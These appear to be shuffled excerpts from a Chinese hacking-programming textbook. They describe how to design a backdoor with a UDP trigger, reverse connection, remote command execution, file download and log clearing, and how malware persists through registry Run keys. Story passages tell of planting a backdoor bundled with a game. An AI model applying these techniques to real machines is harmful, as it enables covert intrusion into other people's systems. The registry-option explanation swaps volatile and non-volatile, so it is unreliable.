    {"text": "针对管道的操作有写入和读取两种。 写入操作通过WriteFile()实现，而读取要分为两步，首先使用PeekNamedPipe()函数判定管道内是否有数据，这样可避免数据接收方长时间等待，如果有数据再调用ReadFile()函数将管道内的数据读出。"},
    {"text": "执行远程CMD命令的实现是由DLL项目中的CmdExcute()函数完成的，具体代码如下： 2．下载URL地址文件 确切地说，下载URL地址文件应该是“下载者”这种黑客工具的功能，这里为了演示此技术而把它融合到后门编程中来了。"},
    {"text": "使用URLDownloadToFile()函数可以完成从一个URL地址下载文件到指定目录中。 URLDownloadToFile()函数声明如下： 功能： 从网络地址中下载并在本机保存成文件。"},
    {"text": "LogClear()的实现代码如下： 11.1.5 客户端编写 客户端与服务端连接原理和实现在前面也已经介绍过，下面直接给出客户端实现代码，可以参考图11.12进行理解。"},
    {"text": "11.1.6 身份验证 给你出一道思考题，其实前面的DLL编写和客户端编写中，都没有考虑到身份验证的问题，那么DLL.dll如何决定反弹连接的IP地址和端口？"},
    {"text": "在客户端需要服务端提供服务前，首先向服务端所在机器发送UDP数据包（如图11.13所示），此UDP数据包中包含客户端的IP地址和端口，并且具有类似连接密码的身份验证字符串，服务端在未被客户端连接之前一直捕获所在机器的UDP数据包并进行分析，如果遇到客户端发送的特定UDP数据包，就从中解析出IP地址和端口，并使用connect()函数进行反向连接客户端。 图11.13 1．客户端发送UDP数据包 客户端使用发送原始UDP数据包的形式进行触发通信。"},
    {"text": "可恶的Windows…… 具体的实现主要是通过对UDP数据的各个位的填充，在这里直接给出实现代码，你可以参考代码理解。 2．服务端捕获、分析UDP数据包 原理仍然和前面讲过的嗅探原理相同，只是在这里使用WinSock进行实现，比较适合服务端环境。"},
    {"text": "使用WinSock进行数据包捕获时，有一个重要的API函数WSAIoctl()，其作用是把网卡设为混杂模式，可以捕获所有流经网卡的数据包，类似于WinPcap SDK中pcap_open()函数的PCAP_OPENFLAG_PROMISCUOUS参数。"},
    {"text": "lpvInBuffer：输入缓冲区地址。 cbInBuffer：指定输入缓冲区大小。 lpvOutBuffer：输出缓冲区地址。 cbOutBuffer：指定输出缓冲区大小。 lpcbBytesReturned：指定实际输出字节数。"},
    {"text": "在DLL项目中，使用Sniffer()函数进行UDP数据包捕获，捕获到数据包后，调用Analysis()函数进行分析，具体的分析过程可参考代码理解。"},
    {"text": "图11.14 前面很多实现代码我都跟你讲过了，在这里，就仅给出各项目的相关函数声明和主函数实现吧。 1．Server项目 1）宏定义、函数声明 2）main()函数 2．Loader项目 1）宏定义、函数声明 2）main()函数 3．DLL项目 1）宏定义、函数声明 2）DllMain()函数、后门入口BackDoorEntry()函数 4．Client项目 1）宏定义、函数声明 2）main()函数 11.3.2 测试 oh yeah，开始测试！"},
    {"text": "远程注入技术、ActiveX自启动，然后还把以前讲过的很多技术融入了进来，让俺突然感觉自己又有了进步，原来以前学到的知识还可以在后门编程中应用。"},
    {"text": "Rootkit的字面意思是“根权限工具”，根权限是指在计算机系统上的软件最高权限。 目前，Rootkit泛指使用了内核技术的恶意软件，Rootkit成功加载运行后，将具有和操作系统一致的权限，甚至可以直接操作和修改操作系统最底层的功能，所以更具威胁性。"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 第12回 特洛伊那匹不吃草的马 木马这个名字跟病毒一样臭名远扬，它可以悄悄地窃取你的账号，监视你在计算机上的一举一动，甚至控制你的摄像头窥探隐私。由于其具有强大的远程控制功能，木马也是黑客最喜爱的工具之一。 话接上回，曹操不慎运行了张飞编写的后门程序，张飞在自己的电脑上终于等到了曹操上线，他给曹操发送了一些命令，立即得到了曹操机器上的进程信息、文件信息等内容，甚至在曹操的电脑上给自己添加了一个管理员账号，这样玩弄了几日后，张飞仍然感觉不够刺激，还是不能完全控制曹操的电脑，所幸这个后门程序具有上传文件并执行的功能，张飞在最近的日子里已经跟随诸葛亮学会了木马的编写技巧，这次他终于可以大显身手，把自己编写的特洛伊木马上传到了曹操的机器中，现在自己不仅可以执行CMD命令，还可以监视曹操的桌面和摄像头。张飞这次终于完全控制了曹操的电脑，洋洋得意，准备恶作剧一把。 话说某天，曹操正在玩游戏，突然发现鼠标不受自己的控制了，只见鼠标来回晃动几下竟然把自己的电脑给关机了。曹操这时候才意识到自己已经被别人恶作剧地控制了。幸亏曹操在多次的被攻击经验中也长进了不少，重装系统、安装杀毒软件等方法逐一试过，终于把张飞的木马请出了机器。 曹操这次感触颇深，没想到在这短短的时间里，张飞的水平提高得如此之迅速，看来自己也要学习下编程技术来对付张飞的伎俩了。 小小黑客之路：黑客工具、攻防及防火墙编程入门 第1回 我是黑客，我不是骇客 了解黑客及黑客技术的发展可以拓宽你的视野，使你对黑客有一个更为全面的认识。 自从张飞和曹操相识，他们就结下了梁子，一来蜀营和曹营业务有些对立，二来曹操这厮总喜欢没事就捉弄下张飞，让张飞心中很是不爽。张飞也不是个讲理的主，一看曹操骑到了自家头上，那还得了！不过大家都是“文明人”，曹营也不是他随便能去的，于是张飞满腔怒火，左思来右想去：“这小子，不给他来个下马威，就当我是病猫！不行，一定要好好整整他。不过，不能打架，咱都是文化人啊。那怎么办呢？”翻来覆去一宿，张飞总算想出了一个万全的办法。“嘿嘿，曹操这小子肯定不知道现在流行黑客技术，据说神奇得很，来无影去无踪。而自家蜀营的军师兼好友诸葛亮就精通黑客攻防之道，可以跟他学习一下。”想罢，张飞一阵兴奋，立马从床上蹦起，前往诸葛亮的住处，决心要学习一些黑客攻防的技术，捉弄一下曹操！从此，张飞踏上了黑客攻防的学习之旅…… 小小黑客之路：黑客工具、攻防及防火墙编程入门 内容简介 信息安全是一面双扇的门，左边写着“黑客”，右边写着“安全”。你推开“黑客”，看见一条路，笑了；他推开“安全”，看见你，也笑了。这就是你的小小黑客之路。 本书正如一幅黑客攻防世界的探险地图，由入门、进阶、高级和综合四个层次组成，以C/C++语言和Windows API为平台，并配合由浅入深、由易到难的各种案例绘制而成。地图中的每一部分都配有生动有趣的情景故事，帮助你理解各种实际发生的现象和应对的方法，帮助你深入探寻各种热门的黑客防守工具的原理及编写技巧，帮助你在轻松幽默的氛围中顺利成长。 本书适合于编程爱好者和信息安全相关专业学生阅读，让我们在学习的道路上结伴同行。 未经许可，不得以任何方式复制或抄袭本书之部分或全部内容。 版权所有，侵权必究。 图书在版编目（CIP）数据 小小黑客之路：黑客工具、攻防及防火墙编程入门／葛垚主编．—北京：电子工业出版社，2011.1 ISBN 978-7-121-11884-5 I．①小… Ⅱ．①葛… Ⅲ．①计算机网络—安全技术 Ⅳ．①TP393.08 中国版本图书馆CIP数据核字（2010）第185497号 策划编辑：张月萍 责任编辑：贾 莉 印 刷：北京市天竺颖华印刷厂 装 订：三河市鑫金马印装有限公司 出版发行：电子工业出版社 北京市海淀区万寿路173信箱 邮编：100036 开 本：720×1000 1/16 印张：31 字数：608千字 印 次：2011年1月第1次印刷 定 价：59.00元 凡所购买电子工业出版社图书有缺损问题，请向购买书店调换。若书店售缺，请与本社发行部联系，联系及邮购电话：（010）88254888。 质量投诉请发邮件至zlts@phei.com.cn，盗版侵权举报请发邮件至dbqq@phei.com.cn。 服务热线：（010）88258888。"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 第11回 后门是个什么门 作为远程控制木马的基础，后门程序虽然没有强大的控制能力，但其隐蔽性更高。利用Winsock技术就可以轻松实现一个简单的后门程序。 话说张飞对曹操的机器已经轮番轰炸了多个回合，但每次都是败北，而且攻击大都属于外围探测，实在是构不成更大的危害，张飞发现只有控制了曹操的电脑，才算取得了最后的胜利，但是要想远程控制别人的机器谈何容易？张飞意识到自己必须具备编写后门或者木马的本领，木马虽说功能强大，但是不好安装且易于暴露，张飞决定先编写一个后门，然后寻找机会通过后门来把自己的木马安装在曹操的机器上。 在诸葛亮的指点之下，经过不懈的努力，张飞终于大功告成，编写出一款小巧玲珑的后门程序，后门虽说是写出来了，但是想在曹操的机器上运行，也不是件容易的事，张飞通过多方打听，发现曹操爱玩游戏，于是他把自己的后门程序和最近很流行的一款游戏打包捆绑成一个文件，通过邮件发送给了曹操，曹操不明真相，看到游戏两眼放光，赶紧下载运行，张飞那边早已在等待着曹操上钩…… 小小黑客之路：黑客工具、攻防及防火墙编程入门 第9回 病毒，又见病毒 病毒，一个令人深恶痛绝的名字。了解病毒技术及一些简单病毒的编写技巧，可以做到知己知彼、更好地防御它。 张飞屡次攻击都被曹操使用各种手段予以剿灭，但是他仍然毫不气馁、屡败屡战。这次他准备给曹操下点猛料，听诸葛亮说病毒危害巨大，犹如战场上的核武器一般，这次张飞就准备给曹操的机器植入病毒，以报前些日子攻击不成的怨恨。 只见张飞使出浑身解数，又是挂马、又是欺骗，玩得不亦乐乎。终于，曹操的机器被植入了张飞编写的病毒。刚开始，曹操还没觉着怎么样，但渐渐地，发现自己的机器越来越慢、越来越慢，而且每次U盘插到电脑上都会平白无故地多出几个陌生的EXE文件。曹操心想，事出异常必有因，于是决定对自己的电脑进行一番大检查，首先调出自己的任务管理器，发现了陌生进程的存在，然后他又对注册表里的自启动项进行了一番观察，果真在某个自启动项里揪出了一个恶意EXE文件，吓得曹操是一身冷汗，还好及时发现了问题。他赶紧把自己系统的所有补丁安装完毕，然后更新了自己的杀毒软件的病毒库，并全盘扫描了一遍，把所有的病毒都清理了干净。想想，张飞这次是又失算了。"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 先生，俺想弱弱地问一句，注册表这个东西俺早就听说过，可是它对俺来说只是个传说啊，这个注册表到底是个啥东西啊？"},
    {"text": "大量的系统配置信息放在一起虽然便于管理，但也给我们黑客提供了极大的方便，可以轻易地对系统的配置信息进行修改，比如，通过修改注册表，将病毒或木马设置为开机自启动等。"},
    {"text": "1．注册表结构 1）根键 位于树状结构的最上层，所有的根键都冠以“HEKY_”，在Windows NT/2000/XP中，注册表一共有五大根键。 ● HKEY_CLASSES_ROOT ● HKEY_CURRENT_USER ● HKEY_LOCAL_MACHINE ● HKEY_USERS ● HKEY_CURRENT_CONFIG 稍后将对这五大根键做详细的介绍。 2）子键 任一键的子目录都叫做子键，例如，图6.1中，“SOFTWARE”是“HKEY_LOCAL_MACHINE”的子键，“360Safe”又是“SOFTWARE”的子键。"},
    {"text": "在Windows NT/2000/XP中，键值有以下几种常用数据类型： ● REG_DWORD DWORD值 ● REG_BINARY 二进制值 ● REG_SZ 字符串 ● REG_MULTI_SZ 多字符串 ● REG_EXOEND_SZ 可扩展字符串 哈，俺看出来了，这跟咱军队里的等级是差不多的，这么看来，军师，我，还有二位哥哥就是根键啊，哈哈，哎？"},
    {"text": "将军问得好，在Windows XP中，注册表文件存储在“WINDOWS\\system32\\config”文件夹下的“default”、“SAM”、“SECURITY”、“software”和“system”五个无后缀的文件中，而注册表中的用户配置文件则保存在“DocumentsendSettings\\用户名”文件夹下名为“NTUSER.DAT”的文件中（Windows7中，“NTUSER.DAT”位于“USER\\用户名”文件夹下）。"},
    {"text": "2．注册表的根键 1）HKEY_CLASSES_ROOT 存放Windows中所有数据文件的信息，主要存储不同文件后缀和应用程序间的映射关系，使用户在双击打开文件时，可以找到正确的应用程序。 打开该根键，可以看到很多以文件扩展名命名的子键，如“.mp3”、“.avi”、“.doc”、“.txt”，等等。 该根键中的内容与HKEY_LOCAL_MACHINE\\Software\\Classes中的内容相同。 2）HKEY_CURRENT_USER 这个根键中存储了有关当前登录用户的配置信息。 例如，当前用户的键盘、鼠标、声音、显示等的配置信息。 重要子键如下： Software：包含所有已安装软件的信息。"},
    {"text": "SOFTWARE：包含所有组件和软件的信息，如各个软件被执行时的初始状态以及上次退出时的状态。 SYSTEM：包括系统的定义、移动设备以及系统设置等配置信息。"},
    {"text": "4）HKEY_USERS 该根键包含了所有用户的配置文件，每个用户在这里都有独立的配置文件。 5）HKEY_CURRENT_CONFIG 该根键包含了系统在启动时需要的硬件的配置信息。"},
    {"text": "就是，等我成功入侵了曹贼的电脑，我就在他电脑上把注册表编辑器打开，对他的注册表乱改一气。 这样的话，曹贼的桌面上就会弹出个注册表编辑器，然后你就会被发现了，不是我说你，你以为入侵别人电脑就跟你玩远程桌面似的啊！"},
    {"text": "参数： hKey：要打开的键所属的根键，可取以下值。 ● HKEY_CLASSES_ROOT ● HKEY_CURRENT_CONFIG ● HKEY_CURRENT_USER ● HKEY_LOCAL_MACHINE ● HKEY_USERS ulOptions：必须为零的参数。"},
    {"text": "若为REG_OPTION_NON_VOLATILE，意味着新创建的键是暂时的，在系统重启后，将被删除； 若为REG_OPTION_VOLATILE，则把新键直接设置为永久的键。"},
    {"text": "lpSecurityAttributes：一个指向SECURITY_ATTRIBUTES结构的指针，用于设置返回的键句柄是否可以被子进程继承，若该参数为空，则默认为不可继承。"},
    {"text": "lpClass：指向缓冲区的指针，用于接收被枚举的子键名称，可以设置为空。 lpcClass：lpClass缓冲区的大小，并输出lpClass接收的子键名称的大小。"},
    {"text": "参数： hkey：键值所在的已打开的键句柄。 lpSubKey：子键名称，这个键名必须是hkey所示的键的一个子键。 lpValue：键值名称，若为空，则获得默认键值的数据和数据类型。"},
    {"text": "dwFlags：数据类型限制，取值可为RRF_RT_ANY、RRF_RT_REG_BINARY、RRF_RT_REG_DWORD、RRF_RT_REG_EXPAND_SZ、RRF_RT_REG_MULTI_SZ、RRF_RT_REG_NONE、RRF_RT_REG_SZ，等等。"},
    {"text": "下面依次介绍图中的OpenKey()、EnumKey()、DeletKey()、AddKey()、ReadValue()、EnumValue()、DeletValue()、SaveValue()、wStr16ToByte()等函数。 图6.3 （1）OpenKey()函数 在OpenKey()函数的最后调用了EnumKey()和EnumValue()来分别枚举子键和键值。 （2）EnumKey()函数 （3）EnumValue()函数 （4）DeletKey()函数 （5）AddKey()函数 （6）ReadValue()函数 （7）DeletValue()函数 （8）SaveValue()函数 （9）wStr16ToByte()和wChar16Toi()函数 （10）UI部分的代码 6.3.2 测试 哈，气沉丹田，敲完收功，军师来看看，俺敲完了。"},
    {"text": "1）打开“HKEY_LOCAL_MACHINE\\SOFTWARE”，并添加一个名为“0MyKey”的新子键，如图6.4所示。 图6.4 2）打开“HKEY_LOCAL_MACHINE\\SOFTWARE\\0MyKey”，添加一个名为“0MySubKey”的子键，新建一个名为“字符串”，数据为“这是一个字符串值”的REG_SZ类型键值，再新建一个名为“二进制值”，数据为“12 34 45 56 de ”的REG_BINARY类型键值（如图6.5所示）。 图6.5 3）打开Windows自带的注册表编辑器regedit找到之前提到的“HKEY_LOCAL_MACHINE\\SOFTWARE\\0MyKey”并查看结果，如图6.6所示。"},
    {"text": "这俺早就查过了，恶意程序总会想方设法地在宿主机器的注册表内做手脚，使恶意程序在用户未察觉的情况下自动运行，最常见的方法就是修改开机启动项，修改或添加在HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\Currentversion\\Run子键下的键值，也可以修改HKEY_CLASSES_ROOT根键下的与文件关联有关的键值，使得每次用户打开某种格式的文件，恶意程序就会运行。"},
    {"text": "将军说的不错，不过也有很多办法防止注册表被修改，各种系统安全软件也千方百计地保护注册表这个软肋，有的是对本章介绍的各种与注册表访问有关的API或与其对应的内核函数进行监控，有的则是隔一段时间查看一次注册表是不是被修改了。"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 1.3 黑客编程工具简介 工欲善其事，必先利其器。 这个俺知道，俺在家没事就磨那丈八蛇矛，现在都快成绣花针了。 ……想要快速、方便地开发出优秀的黑客工具，必须拥有一套良好的开发工具。以后会为你专门介绍强大的Visual Studio 2008，但是在这之前，我还是先为你补充一些辅助的开发工具，日后配合上VS2008，会事半功倍。 1．Visual Assist X Visual Assist X是一款非常好的Microsoft Visual Studio 2008插件（如图1.15所示），支持C/C++、C#、ASP、Visual Basic、Java和HTML等语言，能自动识别各种关键字、系统函数、成员变量，自动给出输入提示，自动更正大小写错误，自动标示错误等，有助于提高开发过程的自动化和开发效率。它的出现有效地弥补了Visual Studio对C/C++语言的智能感知功能支持的不足，更多介绍请参考http://www.wholetomato.com/。 图1.15 2．UltraEdit UltraEdit是能够满足你一切编辑需要的编辑器（如图1.16所示）。它是一套功能强大的文本编辑器，可以编辑文本、十六进制值、ASCII码。在黑客编程中，可以用其来查看和修改EXE或DLL文件的资源，以及十六进制值，更多介绍请参考http://www.idmcomp.com/。 图1.16 3．PEiD PEiD是一款著名的查壳工具（如图1.17所示），其功能强大，几乎可以检测出所有的壳，更可贵的是PEiD的进程查看模块、HEX十六进制查看模块、反汇编模块在黑客编程中都应用广泛，例如，后面我们会使用它的进程查看模块来检测DLL模块是否已成功注入，更多介绍请参考http://www.peid.info/。 图1.17 4．OllyDBG OllyDBG简称OD，号称当今最好的Ring3下的动态调试器。众所周知，很多黑客工具的调试是在没有源代码的情况下进行的，这种情况下，OD就有了用武之地，它可以很清晰地标识出代码中出现的Windows API调用、寄存器状态、堆栈状态等。OD还有改进版OllyICE（如图1.18所示），因为其出色的易用性而受到更广大用户的喜爱，更多介绍请参考http://www.ollydbg.de/。 图1.18 5．IDA IDA Pro是目前最棒的一款静态反编译软件（如图1.19所示），是破解者不可缺少的利器。新版的IDA甚至可以直接把静态反汇编的代码还原成C语言的代码，更多介绍请参考http://www.datarescue.com/。 图1.19"},
    {"text": "1．端口扫描器 （1）简介 服务器上所开放的端口就是潜在的通信通道，也有可能成为一个入侵通道。 对目标计算机进行端口扫描，能得到许多有用的信息，而进行端口扫描的方法也很多，可以手动进行，也可以利用端口扫描软件进行相关扫描。 扫描器一般通过选用远程TCP/IP的不同的端口的服务，并记录给予的回答。 通过这种方法，本机可搜集到关于目标主机的各种有用信息，如远程系统是否支持匿名登录、是否存在可写的FTP目录等。"},
    {"text": "（2）原理 端口扫描器有多种不同的实现方式，包括TCP Connect扫描、TCP SYN扫描和TCP FIN扫描，它们各有优劣，但都利用TCP机制并使用Windows Socket。 例如，TCP Connect扫描是调用系统提供的connect()函数连接目标机器的端口得以实现的，其优点在于调用connect()函数不需要任何权限，实现起来相对简单，但也有容易被目标机器察觉的缺点。"},
    {"text": "其功能强大，主要有：检测主机是否在线、IP和主机名之间的相互转换、通过TCP连接试探目标主机运行的服务、扫描指定范围的主机端口、支持使用文件列表来指定扫描主机范围等。"},
    {"text": "图1.3 4）Nmap Nmap（即Network Mapper）是一款免费的、开源的、著名的端口扫描器（如图1.4所示），在电影《黑客帝国》中也曾出现过它的身影。"},
    {"text": "图1.4 Nmap使用IP数据包来分析在网络中有哪些主机是可用的，这些主机正在提供什么服务，以及运行的操作系统是什么，使用了哪些类型的过滤器或防火墙等信息。"},
    {"text": "2．嗅探器 （1）简介 嗅探器是一种监视网络数据运行的软件设备，嗅探器不仅能用于合法网络管理，也能用于窃取网络信息，如监视网络流量、分析数据包、监视网络资源利用、执行网络安全操作规则、鉴定分析网络数据以及诊断并修复网络问题等。"},
    {"text": "但是，通常的套接字程序只能响应与自己硬件地址相匹配的或是以广播形式发出的数据帧，而对于其他形式的数据帧，比如已到达网络接口却不是发给此地址的数据帧，应用程序将无法收取到达的数据包。"},
    {"text": "（3）常见的嗅探器 1）Sniffer Pro Sniffer Pro是一款由NAI公司推出的功能强大的协议分析软件（如图1.5所示），可以用于发现漏洞、病毒等异常数据，也可以生成网络基准线，提供网络质量趋势分析数据，还可以用于故障快速定位。"},
    {"text": "图1.5 2）Ethereal Ethereal数据包监听器，是一套网管人员必备的超强嗅探工具（如图1.6所示），可用于网络故障排除、监听异常数据包等，甚至包含针对网络通信协议的教育训练。 Ethereal可以从动态的网络撷取数据包，用户可同时浏览每一个数据包的撷取资料内容、检视概要及详细信息。"},
    {"text": "TcpDump提供了源代码，公开了接口，因此具备很强的可扩展性，对于网络维护和入侵者都是非常有用的工具。 TcpDump存在于基本的FreeBSD系统中，由于它需要将网络界面设置为混杂模式，普通用户不能正常执行，但具备root权限的用户可以直接执行它来获取网络上的信息。"},
    {"text": "通过伪造IP地址和MAC地址实现ARP欺骗，能够在网络中产生大量的ARP通信量使网络阻塞。 利用ARP欺骗工具，黑客可以使局域网内某一台PC将所有本该发送到网关的数据包转而发送到自己的网卡上，再结合Sniffer技术，便可轻而易举地从被欺骗的PC发送的数据包中获取大量信息。 （2）原理 ARP欺骗的运作原理可简单地叙述为由攻击者发送假的ARP数据包到网络上，尤其是送到网关上，其目的是让数据包被送至攻击者所取代的地址。 然后，攻击者可将这些流量另行转送至真正的地址（被动式封包嗅探，Passive Sniffing），或是篡改后再转送（中间人攻击，Man-in-the-middle Attack），也可将ARP数据包发送到不存在的MAC地址以达到阻断服务攻击的效果，如Netcut软件。"},
    {"text": "它可以进行网络嗅探、网络欺骗、破解加密口令、显示口令框、显示缓存口令和分析路由协议，甚至还可以监听内网中他人使用VoIP拨打的电话。"},
    {"text": "2）AntiArp 凡事有反必有正，有攻击的ARP欺骗工具，自然也有防御的ARP防火墙（AntiArp）。 ARP防火墙是一个ARP欺骗攻击扫描、检测、清除与防御的工具（如图1.7所示）。 ARP防火墙采用内核层拦截技术和主动防御技术，可自动检测拦截由病毒引起的本机对外的ARP攻击，拦截到攻击后，可看到病毒攻击的时间与病毒进程名。"},
    {"text": "图1.7 4．注册表编辑器 （1）简介 Windows的注册表（Registry）实质上是一个庞大的数据库，它存储着关于软、硬件的有关配置和状态信息，计算机的整个系统的设置和各种信息。 注册表编辑器是一个用来更改系统注册表设置的高级工具，它包含有关计算机的运行信息。"},
    {"text": "采用类似文件目录的树状层次结构（如图1.8所示），根键相当于根目录，系统预定义了6个根键，根键下面有子键，子键下面还有子键，每个子键又包含若干个键值项，这样能更好地管理注册表。"},
    {"text": "图1.8 5．漏洞利用工具 （1）简介 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，它的存在使攻击者能够在未经允许的情况下访问或破坏对方系统。 漏洞利用工具就是将系统或软件中的漏洞作为入侵的通道，以达到攻击目的的工具。"},
    {"text": "以最常见的远程缓冲区溢出漏洞为例，漏洞利用工具会首先扫描目标机是否存在该漏洞，如果存在，则远程进行淹没返回地址、劫持进程控制权、跳转执行ShellCode等一系列操作，最终获得目标机器的控制权。"},
    {"text": "图1.9 2）X-Scan X-Scan是一款免费的、绿色的漏洞检测软件（如图1.10所示）。 利用X-Scan可以对某个主机或者某一网段内的主机进行漏洞扫描。"},
    {"text": "鉴于病毒这种无孔不入的特点，学习简单病毒的编写能帮助你防患于未然。 （2）原理 计算机病毒是指编制或者插入在程序中的用于破坏计算机功能及数据、影响计算机使用，且可以自我复制的一组计算机指令或代码。 病毒具有传染性、破坏性等特点，从而使病毒种类繁多。 常见的病毒有U盘传播型病毒、文件感染型病毒等。"},
    {"text": "4）“冲击波”（2003年） 冲击波病毒的英文名称是Blaster，还被叫做Lovsan或Lovesan，它利用了微软软件中的一个缺陷，对系统端口进行疯狂攻击，可以导致系统崩溃。"},
    {"text": "7．后门 （1）简介 后门是一种在机器启动时自动运行并强制打开某一端口进行通信的黑客程序，它可以绕过系统的安全性控制而达到访问远程系统的目的。 后门和木马程序较为相似，但是后门更注重于自身的隐蔽性，它可能并不具备很多远程控制的功能，但是一定要隐藏得无迹可循。 （2）原理 后门有很多实现方法，最常见的为DLL后门，其原理是把一个实现了后门功能的代码写成一个DLL文件，然后插入到一个EXE文件当中，使其可以执行。"},
    {"text": "（3）常见的后门 Byshell是国内一款非常出色的后门程序，其早期版本就达到了无端口、无文件、无进程隐藏效果，而新版本更是达到了驱动防护的目的，它采用国际领先的技术，悄无声息地穿越了卡巴斯基、诺顿、瑞星等主动防御的巨网，避免了杀毒软件的追杀，成为新一代安全研究者的良好工具。"},
    {"text": "8．远程控制木马 （1）简介 远程控制木马是指通过本地计算机对远程机器进行管理和控制的软件。 远程控制木马有远程信息查看、远程进程管理、远程CMD、键盘监控、文件管理以及远程桌面捕获等诸多强大功能。 （2）原理 木马可以利用系统漏洞等一系列手段进入目标机器并执行，利用Winsock编程技巧实现通过TCP/IP或UDP连接到控制者电脑，并且使控制者获得系统权限。"},
    {"text": "（3）常见的远程控制木马 1）Radmin Radmin（Remote Administrator）是一款屡获殊荣的远程控制软件（如图1.11所示），它将远程控制、外包服务组件以及网络监控结合到一个系统里，提供目前为止最快速、强健而安全的工具包。"},
    {"text": "其控制端与服务端都采用Winsock IOCP模型，数据传输采用zlib压缩方式，稳定快速，上线数量无上限，可同时控制上万台主机。 控制端自动检测CPU使用率调整自己的工作线程，稳定高效。"},
    {"text": "图1.13 9．SPI防火墙 （1）简介 SPI（Stateful Packet Inspection）全状态数据包检测型防火墙，是指通过对每个连接信息（包括套接字对，socket pairs：源地址、目的地址、源端口和目的端口；"},
    {"text": "它在默认情况下拒绝所有来自外网的请求，并且对通过防火墙的发自内网请求的连接动态地维护所有通信的状态（连接），只有是对内网请求回复的连接并符合已建立的状态数据库的包才能通过防火墙进入内网。"},
    {"text": "具体的实现原理是自定义一个服务提供者加载至服务链的最顶层，该服务提供者挂钩常利用Winsock API进行异常或正常分析，从而决定是否拦截，以达到系统安全防护的目的。"},
    {"text": "（3）常见的SPI防火墙 费尔个人防火墙专业版是费尔安全实验室最重要的产品之一（如图1.14所示），它不仅功能非常强大，而且简单易用，既能满足专业人士的需求，也可让一般用户很容易操控。"},
    {"text": "UI（User Interface）即用户界面，也称人机界面，是指用户和某些系统进行交互的方法的集合。 软件设计中，UI从字面上看是由用户与界面两个部分组成的，但实际上还包括用户与界面之间的交互关系这一重要部分。"},
    {"text": "用户界面设计在人和计算机间创建了一个有效的通信媒介。 界面往往能影响用户对软件的使用感受，因此，UI设计在一个系统中的重要性是不容忽视的。"},
    {"text": "在长期的界面设计进化中，产生了三条“黄金规则”：置用户于控制之下、减少用户的记忆负担和保持界面一致。 这些黄金规则成了指导用户界面设计原则的基础。"},
    {"text": "● 提供灵活的交互。 不同的用户有不同的交互偏好，应该提供选择。 例如，软件可能允许用户的交互通过键盘命令、鼠标操作等多种方式进行。 ● 允许用户交互可以被中断和撤销。 即使陷入到一系列动作中时，用户也可以中断动作序列去执行其他操作。"},
    {"text": "用户经常发现他们重复地完成相同的交互序列，因此，可以设计一种方式，使得高级用户能定制界面以方便交互，如将最常用到的操作菜单放在鼠标能较快点击到的位置。"},
    {"text": "用户界面应该将用户移入应用的虚拟世界，而不必知道操作系统、文件管理功能和其他的计算机技术，如用户不需要在应用软件中输入操作系统命令。"},
    {"text": "界面应该建立层次式的组织，即关于某任务、对象或某行为的信息应该首先在高抽象层次展示，更多的细节在用户用鼠标点击表明兴趣后再展示。"},
    {"text": "Windows程序的入口点是WinMain()函数，该函数一般只用于创建窗口，大多数操作是在其他函数中完成的，例如，利用DlgProc()函数处理发送给窗口的消息，使用WinMain()函数创建该窗口并进入消息循环，即获取消息或将其调度至窗口过程。"},
    {"text": "图4.1 哦，俺稍微有些明白了，大体的意思是说如果UI内有什么变化或者是事件发生，这时系统就会通过消息告诉应用程序具体发生了什么事情，是这个意思吧？"},
    {"text": "1．消息概述 WM_QUIT消息通知应用程序结束，该消息在消息队列中被检索到之后，消息循环将停止。 在消息循环停止后，WinMain()函数跳出，应用程序结束。"},
    {"text": "在代码中有几种发送消息的方法，最常见的是使用SendMessage()和PostMessage()函数。 ● SendMessage()函数声明如下： 功能： 该函数将指定的消息发送到一个或多个窗口。"},
    {"text": "参数： hWnd，接收消息的窗口的句柄。 如果此参数为HWND_BROADCAST，则消息将被发送到系统中所有顶层窗口，包括无效或不可见的非自身拥有的窗口、被覆盖的窗口和弹出式窗口，但消息不被发送到子窗口。 Msg指定被发送的消息。 wParam指定附加的消息参数。 lParam指定附加的消息参数。"},
    {"text": "● PostMessage()函数声明如下： 功能： 该函数将一个消息放入（寄送）到与指定窗口创建的线程相关联的消息队列里，不等待线程处理消息就返回。"},
    {"text": "参数： hWnd，待接收消息的窗口句柄。 如果此参数为HWND_BROADCAST，则消息将被发送到系统中所有顶层窗口，包括无效或不可见的非自身拥有的窗口、被覆盖的窗口和弹出式窗口，但消息不被发送到子窗口。 Msg指定被发送的消息。 wParam指定附加的消息参数。 lParam指定附加的消息参数。"},
    {"text": "2．创建控件 创建控件时，必须先建立一个控件容器，一般是对话框，然后从工具箱中的对话框编辑器中拖出所需控件，放到对话框的适当位置，然后对控件进行调整、设置等。 创建对话框之前要先建立一个应用程序项目，具体方法如下。 1）创建工程项目 依次单击“文件”→“新建”→“项目”命令，在弹出的对话框中选择“Win32项目”，确定后在应用程序设置向导中单击“下一步”按钮，在“应用程序类型”栏中选中“Windows应用程序”单选按钮，如图4.4所示，选中“空项目”复选框，然后单击“完成”按钮，完成项目的创建。 图4.4 2）添加对话框资源 项目创建好之后，依次单击菜单栏中的“项目”→“添加资源”命令，在弹出的“添加资源”对话框中选择“Dialog”选项，然后单击“新建”按钮，添加一个新的对话框，如图4.5所示。 图4.5 对话框资源创建完成后，可修改其ID值，以方便使用。 对话框创建完成后，还需要在代码中利用DialogBox()函数“激活”，才能使用。 DialogBox()函数声明如下： 功能： 根据对话框模板资源创建一个模态的对话框。"},
    {"text": "单击按钮后，会向父窗口发出WM_COMMAND消息，消息的wParam和lParam参数指定了发送消息的控件和促使消息发送的动作。 消息的wParam参数的高16位包含消息通知码，低16位包含了控件ID号，而lParam参数则指定了控件的窗口句柄。 处理消息的代码一般在上文提到的WM_COMMAND里响应，使用方法如下： 4．编辑框控件 编辑框是一个矩形控制窗口，一般在对话框中，允许用户从键盘输入并编辑文字。"},
    {"text": "编辑框可以是单行的也可以是多行的。 在多行的条件下，还可以设置是否有滚动条、是否为只读模式（禁用用户输入或编辑）、是否设置为密码形式以隐藏用户的输入等。"},
    {"text": "使用编辑框控件最常用到的是SetDlgItemText()函数和GetDlgItemText()函数，这两个函数的声明如下。 （1）SetDlgItemText()函数 功能： 设置编辑框的文本显示。"},
